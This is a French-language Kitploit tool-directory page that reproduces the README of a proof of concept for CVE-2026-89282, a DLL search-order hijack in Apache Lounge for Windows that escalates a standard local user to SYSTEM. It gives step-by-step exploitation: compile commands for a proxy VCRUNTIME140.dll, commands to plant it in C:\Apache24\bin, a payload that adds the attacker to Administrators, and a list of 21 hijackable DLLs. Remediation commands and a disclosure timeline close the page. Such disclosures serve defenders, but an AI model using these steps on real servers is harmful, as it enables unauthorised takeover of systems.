Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/dorkerdevil/cve-2026-89282
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationPost-ExploitationRed TeamingDéveloppement de Charges UtilesExploitation de Binaires
GitHubdorkerdevil/cve-2026-89282

CVE-2026-89282

Preuve de concept pour CVE-2026-89282 : détournement de l'ordre de recherche de DLL proxy dans les installations Windows d'Apache Lounge, permettant une élévation de privilèges vers SYSTEM lors du redémarrage du service.

Voir le dépôt
12il y a 19 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-89282 : Apache Lounge Windows — Détournement de l'ordre de recherche des DLL → LPE SYSTEM

Auteur : Ashish Kunwar (@D0rkerDevil)
Date : 2026-10-17
CVE : CVE-2026-89282
CWE : CWE-427 (Élément de chemin de recherche non contrôlé) / CWE-732 (Attribution incorrecte de permissions pour une ressource critique)
CVSS 3.1 : 7.3 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Corrigé dans : Apache Lounge 2.4.68-260920 Win64 (20 septembre 2026)


Résumé

La distribution Windows Apache Lounge du serveur HTTP Apache (antérieure au build 2.4.68-260920) s'installe avec des ACL par défaut non sécurisées qui accordent à BUILTIN\Users un accès en écriture (WD + AD) à l'arborescence du répertoire d'installation, y compris C:\Apache24\bin\. Combiné à l'ordre de recherche standard des DLL sous Windows — qui charge depuis le répertoire de l'application avant System32 pour les DLL absentes de la clé de registre KnownDLLs — tout utilisateur local standard peut déposer une DLL proxy qui exécute du code arbitraire en tant que NT AUTHORITY\SYSTEM lors du redémarrage du service Apache.

Ce PoC démontre l'exploitation complète : un utilisateur à faibles privilèges dépose une DLL proxy VCRUNTIME140.dll avec 71 exportations PE en redirection dans C:\Apache24\bin\. Au redémarrage d'Apache, httpd.exe (s'exécutant en tant que LocalSystem) charge le proxy, qui redirige tous les appels légitimes vers la vraie DLL tout en exécutant une charge utile à privilèges SYSTEM dans DllMain. Apache continue de servir normalement — sans plantage ni interruption.

Versions affectées

  • Vulnérables : Tous les builds Windows d'Apache Lounge antérieurs à 2.4.68-260920 (20 sept. 2026)
  • Corrigé : Apache Lounge 2.4.68-260920 Win64 et versions ultérieures
  • Testé sur : Apache 2.4.68 Win64 (build original) sous Windows Server 2022 Build 20348.5622

Cause racine

L'installateur Windows d'Apache Lounge crée C:\Apache24\ sous C:\, qui sous Windows hérite par défaut des permissions Authenticated Users: Modify. L'installateur ne durcit pas ces ACL. Cela accorde à tout utilisateur local la capacité d'écrire de nouveaux fichiers dans :

RépertoireImpact
C:\Apache24\bin\Détournement de DLL — 21 DLL système détournables
C:\Apache24\modules\Injection directe de module
C:\Apache24\conf\Altération de la configuration
C:\Apache24\htdocs\Modification du contenu web

Le service Apache24 s'exécute en tant que LocalSystem (SYSTEM) avec AUTO_START, ce qui fait que toute DLL chargée depuis le répertoire de l'application s'exécute au plus haut niveau de privilège Windows.

Exploitation

Prérequis

  • Compte utilisateur local (standard, sans admin, sans privilèges spéciaux)
  • Apache Lounge pour Windows installé au chemin par défaut avec les ACL par défaut
  • Redémarrage du service Apache (action administrateur, redémarrage système, Windows Update, déploiement automatisé)

Étape 1 : Compiler la DLL proxy

# Cross-compile from Linux/macOS (mingw-w64)
x86_64-w64-mingw32-gcc -shared -o VCRUNTIME140.dll vcruntime140_hijack.c vcruntime140.def \
  -Wl,--enable-stdcall-fixup -s

# Or compile on Windows (MSVC)
cl /LD vcruntime140_hijack.c /link /DEF:vcruntime140.def /OUT:VCRUNTIME140.dll

Étape 2 : Déployer (en tant qu'utilisateur standard)

REM Create hard link to the real DLL for export forwarding
mklink /H "C:\Apache24\bin\vcruntime140_orig.dll" "C:\Windows\System32\VCRUNTIME140.dll"

REM Plant the proxy DLL
copy VCRUNTIME140.dll "C:\Apache24\bin\VCRUNTIME140.dll"

Étape 3 : Attendre le redémarrage d'Apache

La DLL plantée se déclenche au prochain redémarrage du service Apache. Sur un serveur de production, cela se produit via :

  • Le redémarrage mensuel de Windows Update (Patch Tuesday)
  • La maintenance administrateur (httpd -k restart)
  • Le pipeline de déploiement automatisé (CI/CD)
  • Le redémarrage automatique déclenché par la supervision

Étape 4 : Exécution de code en SYSTEM

Après le redémarrage, httpd.exe charge notre DLL proxy en tant que SYSTEM. La charge utile de DllMain s'exécute :

  • Écrit un fichier de preuve avec le nom d'utilisateur SYSTEM et le PID
  • Ajoute l'utilisateur à faibles privilèges au groupe Administrators
  • Apache continue de servir HTTP 200 normalement (proxy sans plantage)

DLL détournables

21 DLL système chargées par httpd.exe ne figurent pas dans la clé de registre KnownDLLs et peuvent être détournées depuis C:\Apache24\bin\ :

DLLKnownDLLDétournable
VCRUNTIME140.dllNonOui — exploitée
ucrtbase.dllNonOui
KERNELBASE.dllNonOui
bcrypt.dllNonOui
msvcp_win.dllNonOui
CRYPTSP.dllNonOui
rsaenh.dllNonOui
CRYPTBASE.dllNonOui
bcryptPrimitives.dllNonOui
mswsock.dllNonOui
napinsp.dllNonOui
DNSAPI.dllNonOui
IPHLPAPI.DLLNonOui
winrnr.dllNonOui
nlansp_c.dllNonOui
wshbth.dllNonOui
rasadhlp.dllNonOui
fwpuclnt.dllNonOui
ntdll.dllNonOui
win32u.dllNonOui
gdi32full.dllNonOui

Analyse de l'auto-déclenchement

Un utilisateur standard ne peut pas déclencher lui-même le redémarrage d'Apache sur une configuration Windows Server 2022 par défaut. Plus de 16 méthodes ont été testées de manière exhaustive — toutes ont échoué :

  • TerminateProcess sur les PID httpd → ACCESS_DENIED
  • net stop/start Apache24 → la SDDL refuse RP/WP à l'ouverture de session interactive/service
  • sc stop Apache24 → Accès refusé
  • httpd -k restart → accès SCM refusé
  • Arrêt/redémarrage du système → SeShutdownPrivilege non détenu
  • Vecteurs de plantage HTTP (14 testés) → tous gérés proprement
  • COM de Windows Update → nécessite un administrateur
  • schtasks /ru SYSTEM → nécessite un administrateur

Le déclenchement provient de la maintenance de routine du serveur, inévitable sur tout système de production.

Remédiation

Immédiat (manuel) :

icacls "C:\Apache24" /remove:g "BUILTIN\Users" /T
icacls "C:\Apache24" /grant "BUILTIN\Users:(OI)(CI)(RX)" /T

Permanent : Mettez à jour vers Apache Lounge 2.4.68-260920 ou une version ultérieure, qui est livrée avec des ACL d'installateur corrigées.

Défense en profondeur : Déployez des politiques d'atténuation des processus pour restreindre le chargement des DLL aux binaires signés.

Fichiers

FichierDescription
vcruntime140_hijack.cCode source de la DLL proxy — charge utile DllMain + preuve de concept
vcruntime140.defDéfinitions de transfert d'exportation (71 exportations → vcruntime140_orig.dll)
deploy_hijack.batScript de déploiement automatisé

Chronologie

DateÉvénement
2026-09-20Apache Lounge publie 2.4.68-260920 avec le correctif ACL
2026-09-22CVE-2026-89282 publiée par CERT/CC
2026-10-16Découverte indépendante + PoC complet (ce travail)
2026-10-17Confirmé comme doublon de CVE-2026-89282 ; publication publique

Licence

Ce PoC est publié à des fins éducatives et de tests de sécurité autorisés uniquement. Licence MIT.


Découvert et documenté de manière indépendante par @D0rkerDevil. Chaîne d'exploitation complète développée avant d'avoir connaissance de CVE-2026-89282.

Télécharger l’outil